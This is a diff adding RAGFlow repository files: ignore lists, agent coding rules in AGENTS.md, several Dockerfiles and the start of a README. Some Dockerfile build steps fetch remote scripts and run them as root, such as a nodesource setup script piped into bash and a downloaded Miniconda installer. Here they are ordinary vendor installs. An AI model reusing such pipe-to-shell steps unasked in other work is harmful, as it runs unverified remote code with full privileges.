+# Logs / runtime artifacts
+logs/
+docker/ragflow-logs/
+*.log
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+.pnpm-debug.log*
+
+# Large local dependency artifacts
+libssl*.deb
+tika-server*.jar*
+cl100k_base.tiktoken
+chrome*
+huggingface.co/
+nltk_data/
+uv-x86_64*.tar.gz
+uv-aarch64*.tar.gz
+
+# Temp / data / local storage
+tmp/
+cache/
+backup/
+docker/data/
+docker/oceanbase/conf
+docker/oceanbase/data
+docker/seekdb
+
+# Native / compiled build dirs
+target/
+bin/
+internal/binding/cpp/build/
+internal/binding/cpp/cmake-build-release/
+internal/binding/cpp/cmake-build-debug/
+
+# Optional: skip tests and docs from indexing
+# test/
+# tests/
+# docs/
+
+# Ignore Roo's own config file
+.rooignore

.trivyignore

@@ -0,0 +1,15 @@
+**/*.md
+**/*.min.js
+**/*.min.css
+**/*.svg
+**/*.png
+**/*.jpg
+**/*.jpeg
+**/*.gif
+**/*.woff
+**/*.woff2
+**/*.map
+**/*.webp
+**/*.ico
+**/*.ttf
+**/*.eot

AGENTS.md

@@ -0,0 +1,109 @@
+# RAGFlow Instructions
+
+Use this file as the local operating guide for the current codebase. Prefer the code and the current CLAUDE.md over any older convention or remembered project shape.
+
+## Core stance
+- Treat legacy code as liability, not as a compatibility target.
+- Prefer deletion over shims, deprecated branches, wrapper APIs, and dual-track migration notes.
+- If old and new implementations coexist, converge to one path unless an external contract forces compatibility.
+- Remove dead tests, commented-out code, stale docs, and "move later" notes instead of preserving them.
+- Reduce public surface area when a helper can be made private or internal.
+- Keep refactors centered on the owning abstraction, not on adjacent compatibility layers.
+
+## Current stack
+- Backend: Python 3.13+, Quart-based API server, Peewee ORM, async workers.
+- Frontend: React + TypeScript + Vite in `web/`.
+- Go: the repository also has a substantial Go module for servers, ingestion, parser/runtime, CLI, and supporting services.
+- Runtime services commonly include MySQL/PostgreSQL, Redis, MinIO, and Elasticsearch/Infinity/OpenSearch depending on configuration.
+
+## Code layout to expect
+- `api/`: Python API server entrypoints, blueprints, services, and database code.
+- `rag/`: ingestion, retrieval, LLM integration, and graph RAG logic.
+- `deepdoc/`: parsing and OCR.
+- `agent/`: workflow canvas, components, tools, and templates.
+- `cmd/`: Go entrypoints. `ragflow_main` is the main server/admin/ingestor binary surface; `ragflow-cli` is the CLI entrypoint.
+- `internal/`: main Go application code. Important subtrees:
+- `internal/agent/`: Go agent runtime, canvas execution, components, tool bindings, workflow helpers.
+- `internal/cli/`: CLI parsing, HTTP transport, command execution, response formatting.
+- `internal/dao/`: Go data-access layer and persistence-facing helpers.
+- `internal/deepdoc/`: Go DeepDOC integrations, especially native-backed PDF/DOCX parsing.
+- `internal/engine/`: search/index backends such as Elasticsearch and Infinity.
+- `internal/entity/`: shared Go entities and model definitions.
+- `internal/handler/`: HTTP handlers and route-facing request logic.
+- `internal/ingestion/`: Go ingestion pipeline, canvas adapter, components, wiring, service orchestration.
+- `internal/ingestion/component/`: stage implementations such as file/parser/chunker/tokenizer/extractor.
+- `internal/ingestion/pipeline/`: DSL translation, canvas-driven execution, checkpoints, resume/run logic.
+- `internal/parser/`: parser and chunk libraries used by ingestion and other Go paths.
+- `internal/parser/parser/`: typed parse-result parsers for markdown/html/pdf/docx/xlsx/text and related families.
+- `internal/parser/chunk/`: chunk operator library and DSL/typed execution helpers.
+- `internal/service/`: higher-level business services used by handlers and server flows.
+- `internal/storage/`: storage backends and in-memory test doubles.
+- `internal/router/`: HTTP route registration.
+- `internal/server/`: server bootstrap/config wiring.
+- `internal/cpp/`: C++ sources used by native-backed Go features.
+- `web/`: frontend application.
+- `docker/`: local and production compose files.
+- `sdk/` and `test/`: SDK and automated tests.
+
+## Go-specific rules
+- Treat `internal/ingestion`, `internal/parser`, and `internal/deepdoc` as actively refactored code. Prefer collapsing duplicate paths over preserving transitional wrappers.
+- Do not add or preserve deprecated Go APIs just to ease migration inside the repo.
+- Remove commented-out Go code instead of leaving recovery notes in place.
+- Keep package comments and doc comments aligned with the current runtime path, not with migration history.
+
+## Working rules
+- Before editing, inspect the nearest code path that actually owns the behavior.
+- Keep changes small and local unless the task is explicitly a broader refactor.
+- Prefer one implementation path instead of preserving old and new versions side by side.
+- Preserve behavior with focused tests when the behavior is still valid; do not keep tests that protect obsolete behavior.
+- If a surface is only there for compatibility, remove it unless the user asks to keep it.
+- Do not add new compatibility wording in comments or docs.
+- When a maintainer takes over a community PR, a new commit generated by rewriting history (e.g. `merge`, `rebase -i`) must preserve the original author and add the maintainer as co-author (via a `Co-authored-by:` trailer) instead of overwriting the author with the maintainer alone.
+
+## Commands
+### Backend
+```bash
+uv sync --python 3.13 --all-extras
+uv run python3 ragflow_deps/download_deps.py
+docker compose -f docker/docker-compose-base.yml up -d
+source .venv/bin/activate
+export PYTHONPATH=$(pwd)
+bash docker/launch_backend_service.sh
+uv run pytest
+ruff check
+ruff format
+```
+
+### Frontend
+```bash
+cd web
+npm install
+npm run dev
+npm run build
+npm run lint
+npm run test
+npm run type-check
+```
+
+### Go
+```bash
+uv run ragflow_deps/download_deps.py
+bash build.sh --test ./path/to/package/...
+bash build.sh --go
+# or build specific binaries:
+bash build.sh --all
+```
+
+## Validation preference
+- Run the narrowest relevant test, lint, or build command after a change.
+- For backend changes, prefer targeted pytest or ruff checks over full-suite runs.
+- For frontend changes, prefer the touched-package lint, type-check, or test command.
+- For Go changes, prefer package-scoped `bash build.sh --test ...` first.
+- Do not default to raw `go test`, `go build`, or IDE Run/Debug for Go in this repo. They often miss the required CGO flags and native static libraries (`office_oxide`, `pdfium-static`, `pdf_oxide`) that `build.sh` wires correctly.
+- If Go native builds fail, inspect `build.sh` and `internal/development.md` before changing code. Common environment issues are missing downloaded native deps and missing `lld` on Linux.
+
+## Default review checklist
+- Remove instead of retaining `deprecated`, `legacy`, or compatibility-only code.
+- Collapse duplicate implementations to one path.
+- Drop stale comments and documentation that describe a superseded design.
+- Keep exported APIs only when the current code actually needs them.

CLAUDE.md

@@ -0,0 +1 @@
+AGENTS.md

Dockerfile

@@ -0,0 +1,290 @@
+# base stage
+FROM ubuntu:24.04 AS base
+USER root
+SHELL ["/bin/bash", "-c"]
+
+ARG NEED_MIRROR=0
+
+WORKDIR /ragflow
+
+# copy models downloaded via download_deps.py
+RUN mkdir -p /ragflow/rag/res/deepdoc /root/.ragflow
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/huggingface.co,target=/huggingface.co \
+    tar --exclude='.*' -cf - \
+        /huggingface.co/InfiniFlow/text_concat_xgb_v1.0 \
+        /huggingface.co/InfiniFlow/deepdoc \
+        | tar -xf - --strip-components=3 -C /ragflow/rag/res/deepdoc
+
+# https://github.com/chrismattmann/tika-python
+# This is the only way to run python-tika without internet access. Without this set, the default is to check the tika version and pull latest every time from Apache.
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/,target=/deps \
+    cp -r /deps/nltk_data /root/ && \
+    cp /deps/tika-server-standard-3.3.0.jar /deps/tika-server-standard-3.3.0.jar.md5 /ragflow/ && \
+    cp /deps/cl100k_base.tiktoken /ragflow/9b5ad71b2ce5302211f9c61530b329a4922fc6a4
+
+ENV TIKA_SERVER_JAR="file:///ragflow/tika-server-standard-3.3.0.jar"
+ENV DEBIAN_FRONTEND=noninteractive
+
+# Setup apt
+# Python package and implicit dependencies:
+# opencv-python: libglib2.0-0 libglx-mesa0 libgl1
+# python-pptx:   default-jdk                              tika-server-standard-3.3.0.jar
+# selenium:      libatk-bridge2.0-0                       chrome-linux64-121-0-6167-85
+# Building C extensions: libpython3-dev libgtk-4-1 libnss3 xdg-utils libgbm-dev
+RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \
+    apt update && \
+    apt --no-install-recommends install -y ca-certificates; \
+    if [ "$NEED_MIRROR" == "1" ]; then \
+        # CI runners may inject a proxy whose TLS certificate is not trusted inside
+        # the fresh Ubuntu base image yet. Keep the Ubuntu mirror on HTTP here so
+        # the mirror switch remains usable before the full CA store is available.
+        sed -i 's|http://archive.ubuntu.com/ubuntu|http://mirrors.aliyun.com/ubuntu|g' /etc/apt/sources.list.d/ubuntu.sources; \
+        sed -i 's|http://security.ubuntu.com/ubuntu|http://mirrors.aliyun.com/ubuntu|g' /etc/apt/sources.list.d/ubuntu.sources; \
+    fi; \
+    rm -f /etc/apt/apt.conf.d/docker-clean && \
+    echo 'Binary::apt::APT::Keep-Downloaded-Packages "true";' > /etc/apt/apt.conf.d/keep-cache && \
+    chmod 1777 /tmp && \
+    apt update && \
+    apt install -y \
+    libglib2.0-0 libglx-mesa0 libgl1 pkg-config libgdiplus default-jdk libatk-bridge2.0-0 libgtk-4-1 libnss3 xdg-utils libjemalloc-dev gnupg unzip curl wget git vim less ghostscript pandoc texlive texlive-latex-extra texlive-xetex texlive-lang-chinese fonts-freefont-ttf fonts-noto-cjk postgresql-client && \
+    rm -rf /var/lib/apt/lists/*
+
+# Download resource from GitHub to /usr/share/infinity
+RUN mkdir -p /usr/share/infinity/resource && \
+    if [ "$NEED_MIRROR" == "1" ]; then \
+        git clone --depth 1 --single-branch https://gitee.com/infiniflow/resource /tmp/resource; \
+    else \
+        git clone --depth 1 --single-branch https://github.com/infiniflow/resource.git /tmp/resource; \
+    fi && \
+    cp -r /tmp/resource/* /usr/share/infinity/resource && \
+    rm -rf /tmp/resource
+
+ARG NGINX_VERSION=1.31.2-1~noble
+RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \
+    mkdir -p /etc/apt/keyrings && \
+    curl --retry 5 --retry-delay 2 --retry-all-errors -fsSL https://nginx.org/keys/nginx_signing.key | gpg --dearmor -o /etc/apt/keyrings/nginx-archive-keyring.gpg && \
+    echo "deb [signed-by=/etc/apt/keyrings/nginx-archive-keyring.gpg] https://nginx.org/packages/mainline/ubuntu/ noble nginx" > /etc/apt/sources.list.d/nginx.list && \
+    apt -o Acquire::Retries=5 update && \
+    apt -o Acquire::Retries=5 install -y nginx=${NGINX_VERSION} && \
+    apt-mark hold nginx && \
+    rm -rf /var/lib/apt/lists/*
+
+# Install uv
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/,target=/deps \
+    if [ "$NEED_MIRROR" == "1" ]; then \
+        mkdir -p /etc/uv && \
+        echo 'python-install-mirror = "https://registry.npmmirror.com/-/binary/python-build-standalone/"' > /etc/uv/uv.toml && \
+        echo '[[index]]' >> /etc/uv/uv.toml && \
+        echo 'url = "https://mirrors.aliyun.com/pypi/simple"' >> /etc/uv/uv.toml && \
+        echo 'default = true' >> /etc/uv/uv.toml; \
+    fi; \
+    arch="$(uname -m)"; \
+    if [ "$arch" = "x86_64" ]; then uv_arch="x86_64"; else uv_arch="aarch64"; fi; \
+    tar xzf "/deps/uv-${uv_arch}-unknown-linux-gnu.tar.gz" \
+    && cp "uv-${uv_arch}-unknown-linux-gnu/"* /usr/local/bin/ \
+    && rm -rf "uv-${uv_arch}-unknown-linux-gnu" \
+    && uv python install 3.13
+
+ENV PYTHONDONTWRITEBYTECODE=1 DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1 \
+    UV_HTTP_TIMEOUT=200 \
+    UV_HTTP_RETRIES=3
+ENV PATH=/root/.local/bin:$PATH
+
+# nodejs 12.22 on Ubuntu 22.04 is too old
+RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \
+    curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \
+    apt purge -y nodejs npm && \
+    apt autoremove -y && \
+    apt update && \
+    apt install -y nodejs && \
+    rm -rf /var/lib/apt/lists/*
+
+# stagehand-server-v3 (Node.js SEA binary used by Browser component
+# in local mode).
+#
+# The `v3.21.0` value below is the `stagehand-go/v3` Go module
+# version pinned in `go.mod`. It is used here only to compute the
+# `go_<ver>/` subdirectory that `local.go:cacheDir()` will look in
+# for the binary at runtime — that subdirectory name is keyed by
+# the Go module's own `internal.PackageVersion`, NOT by the server
+# binary's release tag.
+#
+# The server binary itself is fetched separately by `download_deps.py`
+# from the browserbase/stagehand GitHub releases. The two are
+# LOOSELY MATCHED — both stay on the v3.x line and remain protocol-
+# compatible, but the version numbers do NOT track each other (Go
+# SDK is at v3.21.0, server binary is at v3.7.2 today). On every
+# go.mod bump, refresh the server binary pin in `download_deps.py`
+# to the current latest server release; no version correspondence
+# is required to maintain.
+#
+# Drift on the Go SDK pin (this ARG vs go.mod) forces a fresh
+# GitHub download at process boot — a hard failure in air-gapped
+# deployments. CI cross-checks the two values.
+#
+# The binary is pre-fetched by `download_deps.py` and shipped via
+# the ragflow_deps image, then written directly to the stagehand-go
+# cache path that `local.go:cacheDir()` constructs at runtime —
+# `/root/.cache/stagehand/lib/go_<ver>/stagehand-server-v3-<arch>`.
+ARG STAGEHAND_GO_VERSION=v3.21.0
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/,target=/deps \
+    set -eux; \
+    arch="$(uname -m)"; \
+    case "$arch" in \
+        x86_64) stagehand_arch=x64 ;; \
+        aarch64|arm64) stagehand_arch=arm64 ;; \
+        *) echo "Unsupported architecture: $arch" >&2; exit 1 ;; \
+    esac; \
+    stagehand_version="${STAGEHAND_GO_VERSION#v}"; \
+    stagehand_cache_dir="/root/.cache/stagehand/lib/go_${stagehand_version}"; \
+    mkdir -p "${stagehand_cache_dir}"; \
+    cp "/deps/stagehand-server-v3-linux-${stagehand_arch}" \
+       "${stagehand_cache_dir}/stagehand-server-v3-linux-${stagehand_arch}"; \
+    chmod +x "${stagehand_cache_dir}/stagehand-server-v3-linux-${stagehand_arch}"
+
+# Add msssql ODBC driver
+# macOS ARM64 environment, install msodbcsql18.
+# general x86_64 environment, install msodbcsql17.
+RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \
+    curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add - && \
+    curl https://packages.microsoft.com/config/ubuntu/22.04/prod.list > /etc/apt/sources.list.d/mssql-release.list && \
+    apt update && \
+    arch="$(uname -m)"; \
+    if [ "$arch" = "arm64" ] || [ "$arch" = "aarch64" ]; then \
+        # ARM64 (macOS/Apple Silicon or Linux aarch64) \
+        ACCEPT_EULA=Y apt install -y unixodbc-dev msodbcsql18; \
+    else \
+        # x86_64 or others \
+        ACCEPT_EULA=Y apt install -y unixodbc-dev msodbcsql17; \
+    fi && \
+    rm -rf /var/lib/apt/lists/* || \
+    { echo "Failed to install ODBC driver"; exit 1; }
+
+
+
+# Add dependencies of selenium
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/chrome-linux64-121-0-6167-85,target=/chrome-linux64.zip \
+    unzip /chrome-linux64.zip && \
+    mv chrome-linux64 /opt/chrome && \
+    ln -s /opt/chrome/chrome /usr/local/bin/
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/chromedriver-linux64-121-0-6167-85,target=/chromedriver-linux64.zip \
+    unzip -j /chromedriver-linux64.zip chromedriver-linux64/chromedriver && \
+    mv chromedriver /usr/local/bin/ && \
+    rm -f /usr/bin/google-chrome
+
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/,target=/deps \
+    if [ "$(uname -m)" = "x86_64" ]; then \
+        dpkg -i /deps/libssl1.1_1.1.1f-1ubuntu2_amd64.deb; \
+    elif [ "$(uname -m)" = "aarch64" ]; then \
+        dpkg -i /deps/libssl1.1_1.1.1f-1ubuntu2_arm64.deb; \
+    fi
+
+
+# builder stage
+FROM base AS builder
+USER root
+
+WORKDIR /ragflow
+
+# Install build-only dependencies for compiling Python C extensions.
+# These are not inherited from base to keep the production image smaller.
+RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \
+    apt update && \
+    apt install -y build-essential libpython3-dev libicu-dev libgbm-dev && \
+    rm -rf /var/lib/apt/lists/*
+
+# install dependencies from uv.lock file
+COPY pyproject.toml uv.lock ./
+
+# https://github.com/astral-sh/uv/issues/10462
+# uv records index url into uv.lock but doesn't failover among multiple indexes
+# Also rewrite pypi.tuna.tsinghua.edu.cn to mirrors.aliyun.com/pypi so locks
+# that were resolved against the Tsinghua mirror (e.g. when UV_INDEX pointed
+# there) get normalized to the Aliyun mirror in NEED_MIRROR=1 builds. Without
+# this, stale Tsinghua URLs slip through and `uv sync --frozen` 404s on
+# packages that the Tsinghua mirror no longer carries.
+RUN --mount=type=cache,id=ragflow_uv,target=/root/.cache/uv,sharing=locked \
+    if [ "$NEED_MIRROR" == "1" ]; then \
+        sed -i 's|pypi.org|mirrors.aliyun.com/pypi|g' uv.lock; \
+        sed -i 's|pypi.tuna.tsinghua.edu.cn|mirrors.aliyun.com/pypi|g' uv.lock; \
+    else \
+        sed -i 's|mirrors.aliyun.com/pypi|pypi.org|g' uv.lock; \
+        sed -i 's|pypi.tuna.tsinghua.edu.cn|pypi.org|g' uv.lock; \
+        sed -i 's|gitee.com|github.com|g' uv.lock; \
+    fi; \
+    # --refresh-package litellm forces a re-download of litellm from the
+    # (post-sed) URLs in uv.lock even if BuildKit's persistent uv cache mount
+    # holds a stale wheel from a previous build. litellm 1.88.x has had
+    # multiple internal ImportError issues (1.88.1 missing
+    # DEFAULT_HEALTH_CHECK_STALENESS_MULTIPLIER, 1.88.0 wheel pulled via
+    # some proxies missing RedisPipelineLpopOperation) — always re-fetching
+    # the locked version avoids serving a half-broken cached copy.
+    uv sync --python 3.13 --frozen --refresh-package litellm && \
+    # Ensure pip is available in the venv for runtime package installation (fixes #12651)
+    .venv/bin/python3 -m ensurepip --upgrade
+
+# Install frontend dependencies — depends only on package manifests so
+# web source / docs changes don't invalidate this layer.
+COPY web/package.json web/package-lock.json web/.npmrc ./web/
+# The `prepare` lifecycle script (npm install) runs `node scripts/prepare.js`,
+# so that file must be present before `npm install` or the build fails with
+# "Cannot find module '/ragflow/web/scripts/prepare.js'".
+COPY web/scripts ./web/scripts
+RUN --mount=type=cache,id=ragflow_npm,target=/root/.npm,sharing=locked \
+    cd web && NODE_OPTIONS="--max-old-space-size=8192" npm install
+
+# Copy full web source and docs for the frontend build.
+COPY web web
+COPY docs docs
+RUN --mount=type=cache,id=ragflow_npm,target=/root/.npm,sharing=locked \
+    cd web && NODE_OPTIONS="--max-old-space-size=8192" VITE_BUILD_SOURCEMAP=false VITE_MINIFY=esbuild npm run build
+
+COPY .git /ragflow/.git
+
+RUN version_info=$(git describe --tags --match=v* --first-parent --always); \
+    version_info="$version_info"; \
+    echo "RAGFlow version: $version_info"; \
+    echo $version_info > /ragflow/VERSION
+
+# production stage
+FROM base AS production
+USER root
+
+WORKDIR /ragflow
+
+# Copy Python environment and packages
+ENV VIRTUAL_ENV=/ragflow/.venv
+COPY --from=builder ${VIRTUAL_ENV} ${VIRTUAL_ENV}
+ENV PATH="${VIRTUAL_ENV}/bin:${PATH}"
+
+ENV PYTHONPATH=/ragflow/
+
+COPY admin admin
+COPY api api
+COPY conf conf
+COPY deepdoc deepdoc
+COPY rag rag
+COPY agent agent
+COPY pyproject.toml uv.lock ./
+COPY mcp mcp
+COPY common common
+COPY memory memory
+COPY bin bin
+COPY tools/scripts tools/scripts
+
+COPY docker/service_conf.yaml.template ./conf/service_conf.yaml.template
+COPY docker/entrypoint.sh ./
+RUN chmod +x ./entrypoint*.sh
+
+# Copy nginx configuration for frontend serving
+COPY docker/nginx/ragflow.conf.golang docker/nginx/ragflow.conf.python docker/nginx/ragflow.conf.hybrid docker/nginx/nginx.conf docker/nginx/proxy.conf /etc/nginx/
+RUN mv /etc/nginx/ragflow.conf.golang /etc/nginx/conf.d/ragflow.conf.golang && \
+    mv /etc/nginx/ragflow.conf.python /etc/nginx/conf.d/ragflow.conf.python && \
+    mv /etc/nginx/ragflow.conf.hybrid /etc/nginx/conf.d/ragflow.conf.hybrid && \
+    rm -f /etc/nginx/sites-enabled/default
+
+# Copy compiled web pages
+COPY --from=builder /ragflow/web/dist /ragflow/web/dist
+
+COPY --from=builder /ragflow/VERSION /ragflow/VERSION
+ENTRYPOINT ["./entrypoint.sh"]

Dockerfile.scratch.oc9

@@ -0,0 +1,61 @@
+FROM opencloudos/opencloudos:9.0
+USER root
+
+WORKDIR /ragflow
+
+RUN dnf update -y && dnf install -y wget curl gcc-c++ openmpi-devel
+
+RUN wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh -O ~/miniconda.sh && \
+    bash ~/miniconda.sh -b -p /root/miniconda3 && \
+    rm ~/miniconda.sh && ln -s /root/miniconda3/etc/profile.d/conda.sh /etc/profile.d/conda.sh && \
+    echo ". /root/miniconda3/etc/profile.d/conda.sh" >> ~/.bashrc && \
+    echo "conda activate base" >> ~/.bashrc
+
+ENV PATH /root/miniconda3/bin:$PATH
+
+RUN conda create -y --name py11 python=3.11
+
+ENV CONDA_DEFAULT_ENV py11
+ENV CONDA_PREFIX /root/miniconda3/envs/py11
+ENV PATH $CONDA_PREFIX/bin:$PATH
+
+# RUN curl -sL https://rpm.nodesource.com/setup_14.x | bash -
+RUN dnf install -y nodejs
+
+RUN dnf install -y nginx
+
+ADD ./web ./web
+ADD ./api ./api
+ADD ./docs ./docs
+ADD ./conf ./conf
+ADD ./deepdoc ./deepdoc
+ADD ./rag ./rag
+ADD ./requirements.txt ./requirements.txt
+ADD ./agent ./agent
+ADD ./graphrag ./graphrag
+ADD ./plugin ./plugin
+
+RUN dnf install -y openmpi openmpi-devel python3-openmpi
+ENV C_INCLUDE_PATH /usr/include/openmpi-x86_64:$C_INCLUDE_PATH
+ENV LD_LIBRARY_PATH /usr/lib64/openmpi/lib:$LD_LIBRARY_PATH
+RUN rm /root/miniconda3/envs/py11/compiler_compat/ld
+RUN cd ./web && npm i && npm run build
+RUN conda run -n py11 pip install $(grep -ivE "mpi4py" ./requirements.txt) # without mpi4py==3.1.5
+RUN conda run -n py11 pip install redis
+
+RUN dnf update -y && \
+    dnf install -y glib2 mesa-libGL && \
+    dnf clean all
+
+RUN conda run -n py11 pip install ollama
+RUN conda run -n py11 python -m nltk.downloader punkt
+RUN conda run -n py11 python -m nltk.downloader wordnet
+
+ENV PYTHONPATH=/ragflow/
+ENV HF_ENDPOINT=https://hf-mirror.com
+
+COPY docker/service_conf.yaml.template ./conf/service_conf.yaml.template
+ADD docker/entrypoint.sh ./entrypoint.sh
+RUN chmod +x ./entrypoint.sh
+
+ENTRYPOINT ["./entrypoint.sh"]

Dockerfile_deepdoc_oss

@@ -0,0 +1,66 @@
+# OSS DeepDoc server — minimal image with ONNX-only inference.
+# Build: docker build -f docker/Dockerfile_deepdoc_oss -t deepdoc_oss:latest .
+# With mirror (China): docker build --build-arg NEED_MIRROR=1 -f docker/Dockerfile_deepdoc_oss -t deepdoc_oss:latest .
+
+FROM ubuntu:24.04
+
+ARG NEED_MIRROR=1
+
+ENV PYTHONPATH=/app
+ENV DEBIAN_FRONTEND=noninteractive
+
+# ── System dependencies (onnxruntime + opencv runtime libs) ──
+RUN apt-get update && apt-get install -y --no-install-recommends \
+    -o Acquire::Retries=5 \
+    python3.12 python3.12-venv \
+    libglib2.0-0 libglx-mesa0 libgl1 libgomp1 \
+    libgdiplus curl ca-certificates \
+    && rm -rf /var/lib/apt/lists/*
+
+# ── Python venv with ONNX inference stack ──
+RUN python3.12 -m venv /app/.venv
+COPY deepdoc/server/pyproject.toml /tmp/pyproject.toml
+RUN PIP_INDEX="https://pypi.org/simple" && \
+    PIP_TRUSTED="" && \
+    if [ "$NEED_MIRROR" = "1" ]; then \
+        PIP_INDEX="https://mirrors.aliyun.com/pypi/simple"; \
+        PIP_TRUSTED="mirrors.aliyun.com"; \
+    fi && \
+    if [ -n "$PIP_TRUSTED" ]; then \
+        /app/.venv/bin/pip install --no-cache-dir -i "$PIP_INDEX" --trusted-host "$PIP_TRUSTED" \
+        litserve onnxruntime opencv-python-headless numpy pillow pyclipper \
+        python-multipart shapely six huggingface_hub; \
+    else \
+        /app/.venv/bin/pip install --no-cache-dir -i "$PIP_INDEX" \
+        litserve onnxruntime opencv-python-headless numpy pillow pyclipper \
+        python-multipart shapely six huggingface_hub; \
+    fi
+
+# ── ONNX models (downloaded from HuggingFace) ──
+COPY deepdoc/server/download_deps.py /tmp/download_deps.py
+RUN if [ "$NEED_MIRROR" = "1" ]; then \
+        export HF_ENDPOINT=https://hf-mirror.com; \
+    fi && \
+    mkdir -p /app/rag/res/deepdoc && \
+    /app/.venv/bin/python3 /tmp/download_deps.py /app/rag/res/deepdoc
+
+# ── Vision module (ONNX inference logic) ──
+RUN mkdir -p /app/deepdoc/vision
+COPY deepdoc/vision/ /app/deepdoc/vision/
+
+# ── Docker stubs (lightweight replacements for heavy common/rag/deepdoc imports) ──
+COPY deepdoc/server/docker_stubs.py /tmp/docker_stubs.py
+RUN /app/.venv/bin/python3 /tmp/docker_stubs.py
+
+# ── Server code ──
+RUN mkdir -p /app/deepdoc/server/endpoints /app/deepdoc/server/adapters
+COPY deepdoc/server/deepdoc_server.py       /app/deepdoc/server/
+COPY deepdoc/server/endpoints/           /app/deepdoc/server/endpoints/
+COPY deepdoc/server/adapters/            /app/deepdoc/server/adapters/
+
+EXPOSE 9390
+
+HEALTHCHECK --interval=10s --timeout=10s --retries=5 \
+    CMD curl -f http://localhost:9390/health || exit 1
+
+ENTRYPOINT ["/app/.venv/bin/python3", "/app/deepdoc/server/deepdoc_server.py", "--model-dir", "/app/rag/res/deepdoc"]

Dockerfile_tei

@@ -0,0 +1,14 @@
+FROM ghcr.io/huggingface/text-embeddings-inference:cpu-1.8
+
+# uv tool install huggingface_hub
+# hf download --local-dir tei_data/BAAI/bge-small-en-v1.5 BAAI/bge-small-en-v1.5
+# hf download --local-dir tei_data/BAAI/bge-m3 BAAI/bge-m3
+# hf download --local-dir tei_data/Qwen/Qwen3-Embedding-0.6B Qwen/Qwen3-Embedding-0.6B
+COPY tei_data /data
+
+# curl -X POST http://localhost:6380/embed -H "Content-Type: application/json" -d '{"inputs": "Hello, world! This is a test sentence."}'
+# curl -X POST http://tei:80/embed -H "Content-Type: application/json" -d '{"inputs": "Hello, world! This is a test sentence."}'
+# [[-0.058816575,0.019564206,0.026697718,...]]
+
+# curl -X POST http://localhost:6380/v1/embeddings -H "Content-Type: application/json" -d '{"input": "Hello, world! This is a test sentence."}'
+# {"object":"list","data":[{"object":"embedding","embedding":[-0.058816575,0.019564206,...],"index":0}],"model":"BAAI/bge-small-en-v1.5","usage":{"prompt_tokens":12,"total_tokens":12}}

LICENSE

@@ -0,0 +1,201 @@
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
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README.md

@@ -0,0 +1,418 @@
+<div align="center">
+<a href="https://cloud.ragflow.io/">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow/main/web/src/assets/logo-with-text.svg" width="520" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DBEDFA"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_fr.md"><img alt="README en Français" src="https://img.shields.io/badge/Français-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
+  <a href="./README_ar.md"><img alt="README in Arabic" src="https://img.shields.io/badge/Arabic-DFE0E5"></a>
+  <a href="./README_tr.md"><img alt="Türkçe README" src="https://img.shields.io/badge/Türkçe-DFE0E5"></a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="follow on X(Twitter)">
+    </a>
+    <a href="https://cloud.ragflow.io" target="_blank">
+        <img alt="Static Badge" src="https://img.shields.io/badge/Get-Started-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/infiniflow/ragflow-stats/main/badges/docker-pulls.json&style=flat-square&logo=docker&logoColor=white" alt="docker pull infiniflow/ragflow:v0.26.4">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
+    </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://cloud.ragflow.io">Cloud</a> |
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/12241">Roadmap</a> |
+  <a href="https://discord.gg/NjYzJD3GM3">Discord</a>
+</h4>
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
